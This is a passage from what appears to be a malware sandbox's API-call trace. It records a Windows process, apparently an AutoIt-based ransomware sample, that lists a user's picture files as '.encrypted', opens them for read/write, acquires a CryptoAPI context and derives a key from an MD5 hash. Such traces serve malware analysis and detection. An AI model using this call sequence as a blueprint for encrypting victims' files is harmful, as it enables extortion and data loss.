wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.363] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.363] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.364] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.364] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.364] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.365] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.365] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8953) returned 1 [0028.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.365] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x22f9, lpOverlapped=0x0) returned 1 [0028.365] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x22f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8953) returned 1 [0028.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.encrypted.png\r\n", cchWideChar=88, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 88 [0028.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.encrypted.png\r\n", cchWideChar=88, lpMultiByteStr=0xe8f4069f50, cbMultiByte=88, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\4cYf0DEU1Rr.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 88 [0028.366] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x57, lpOverlapped=0x0) returned 1 [0028.366] CloseHandle (hObject=0x1fc) returned 1 [0028.366] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.366] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.367] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.367] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.367] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.367] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.367] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.368] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.368] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.368] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.369] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.png", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0028.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.png", cchWideChar=69, lpMultiByteStr=0xe8f4051950, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.png", lpUsedDefaultChar=0x0) returned 69 [0028.369] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\5wde.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=69, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0028.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=69, lpWideCharStr=0xe8f40612a0, cchWideChar=69 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.png") returned 69 [0028.369] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.370] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.370] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.370] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.370] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178980, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.371] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.371] CloseHandle (hObject=0x1fc) returned 1 [0028.371] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.371] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.371] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.371] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.372] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.372] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.372] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.372] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.372] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.372] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.372] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.372] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.372] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f419a0a0) returned 1 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.373] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.373] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.373] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.373] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.373] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.373] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.373] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.374] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.374] CryptCreateHash (in: hProv=0xe8f419a0a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.374] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418afa0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] PeekMessageW 